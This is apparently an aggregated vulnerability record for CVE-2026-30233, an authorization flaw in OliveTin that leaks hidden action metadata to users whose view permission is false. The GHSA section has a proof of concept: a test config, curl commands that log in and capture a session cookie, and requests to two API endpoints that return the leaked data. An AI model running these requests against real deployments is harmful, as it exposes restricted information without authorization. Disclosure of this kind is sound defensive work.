{"id":"CVE-2026-30233","aliases":["CVE-2026-30233","GHSA-jf73-858c-54pg","GO-2026-4629"],"related":[],"kind":"vulnerability","state":"published","title":"OliveTin: View permission not being checked when returning dashboards","summary":"OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.\n\nAlthough execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.\n\n### Details\nOliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.\n\nRelevant source locations:\n\ndashboards.go (around line 120, 132)\napiActions.go (around line 122)\nacl.go (around line 125)\napi.go (around line 430)\n\nDashboard building logic:\n```\nfor _, binding := range rr.ex.MapActionBindings {\n    if binding.Action.Hidden { continue }\n    action := buildAction(binding, rr) // checks IsAllowedExec only\n    fieldset.Contents = append(fieldset.Contents, ...)\n}\n```\nWhy vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).\n\n### PoC\n\n\n\n\n1. Configure OliveTin with a restricted user:\n\nCreate config.yaml:\n\n```yaml\nauthRequireGuestsToLogin: true\n\nauthLocalUsers:\n  enabled: true\n  users:\n    - username: admin\n      password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\"  # password: admin123\n      permissions:\n        view: true\n        exec: true\n        logs: true\n    \n    - username: low\n      password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\"  # password: low123\n      permissions:\n        view: false   # Should hide all actions\n        exec: false\n        logs: false\n\nactions:\n  - title: \"Secret Action\"\n    id: secret_action\n    shell: echo \"sensitive operation\"\n    icon: \"🔒\"\n    description: \"This action should be completely hidden\"\n    arguments:\n      - name: target\n        title: Target\n        type: string\n        default: production\n```\n2. Start OliveTin with this configuration\n\n3. Login as low-privilege user and capture session ID:\n\n```bash\n# Login as low user\nLOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"low\",\"password\":\"low123\"}' \\\n  | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')\n\necho \"Low user SID: $LOW_SID\"\n```\n4. Verify the web UI respects view:false (optional but illustrative):\n\nOpen http://localhost:1337 in a browser logged in as low user - the \"Secret Action\" should NOT appear in the UI.\n\n5. Test 1: GetDashboard endpoint leaks action metadata:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetDashboard \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d '{\"title\":\"Actions\"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId==\"secret_action\")'\n```\nExpected behavior (if fixed): Empty result or no matching action\nObserved behavior (vulnerable):\n\n```json\n{\n  \"action\": {\n    \"bindingId\": \"secret_action\",\n    \"title\": \"Secret Action\",\n    \"icon\": \"🔒\",\n    \"description\": \"This action should be completely hidden\",\n    \"canExec\": false,\n    \"arguments\": [\n      {\n        \"name\": \"target\",\n        \"title\": \"Target\",\n        \"type\": \"string\",\n        \"default\": \"production\"\n      }\n    ]\n  }\n}\n```\n6. Test 2: GetActionBinding endpoint directly exposes action details:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetActionBinding \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d '{\"bindingId\":\"secret_action\"}' | jq '.'\n```\nExpected behavior (if fixed): HTTP 403 Permission Denied\nObserved behavior (vulnerable):\n\n```json\n{\n  \"action\": {\n    \"bindingId\": \"secret_action\",\n    \"title\": \"Secret Action\",\n    \"icon\": \"🔒\",\n    \"description\": \"This action should be completely hidden\",\n    \"canExec\": false,\n    \"arguments\": [...]\n  }\n}\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"OliveTin doesn't check view permission when returning dashboards in github.com/OliveTin/OliveTin","format":"markdown","source":"go"},{"lang":"es","text":"OliveTin permite el acceso a comandos shell predefinidos desde una interfaz web. Antes de la versión 3000.11.1, una falla de autorización en OliveTin permite a usuarios autenticados con permiso view: false enumerar enlaces de acción y metadatos a través de los puntos finales del panel de control y la API. Aunque la ejecución (exec) puede ser denegada correctamente, el backend no aplica IsAllowedView() al construir las respuestas del panel de control y los enlaces de acción. Como resultado, los usuarios restringidos pueden recuperar títulos de acción, IDs, iconos y metadatos de argumentos. Este problema ha sido parcheado en la versión 3000.11.1.","source":"nvd"}],"published":"2026-03-05T21:24:24.000Z","modified":"2026-06-17T10:32:32.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"}],"cwes":["CWE-200","CWE-862"],"affected":[{"ranges":[{"version":"< 3000.11.1","status":"affected"}],"vendor":"OliveTin","product":"OliveTin","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260305082002-d7962710e7c4"}],"ecosystem":"Go","package":"github.com/OliveTin/OliveTin","purl":"pkg:golang/github.com/OliveTin/OliveTin","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260305082002-d7962710e7c4"}],"ecosystem":"Go","package":"github.com/OliveTin/OliveTin","purl":"pkg:golang/github.com/OliveTin/OliveTin","source":"go"},{"ranges":[{"status":"affected","fixed":"3000.11.1"}],"vendor":"olivetin","product":"olivetin","cpe":"cpe:2.3:a:olivetin:olivetin:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30233","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/OliveTin/OliveTin","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-09T20:46:55.609Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-30233","url":"https://www.cve.org/CVERecord?id=CVE-2026-30233","licence":"CVE Terms of Use","modified":"2026-03-09T20:54:29.334Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jf73-858c-54pg","url":"https://github.com/advisories/GHSA-jf73-858c-54pg","licence":"CC-BY-4.0","modified":"2026-03-23T04:56:02.480Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4629","url":"https://pkg.go.dev/vuln/GO-2026-4629","licence":"CC-BY-4.0","modified":"2026-03-23T04:53:18.759Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-30233","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30233","licence":"Public domain","modified":"2026-06-17T10:32:32.137Z"}],"updatedAt":"2026-11-25T22:59:15.427Z","epss":{"score":0.00603,"percentile":0.42994,"date":"2026-11-30T12:00:22.000Z"}}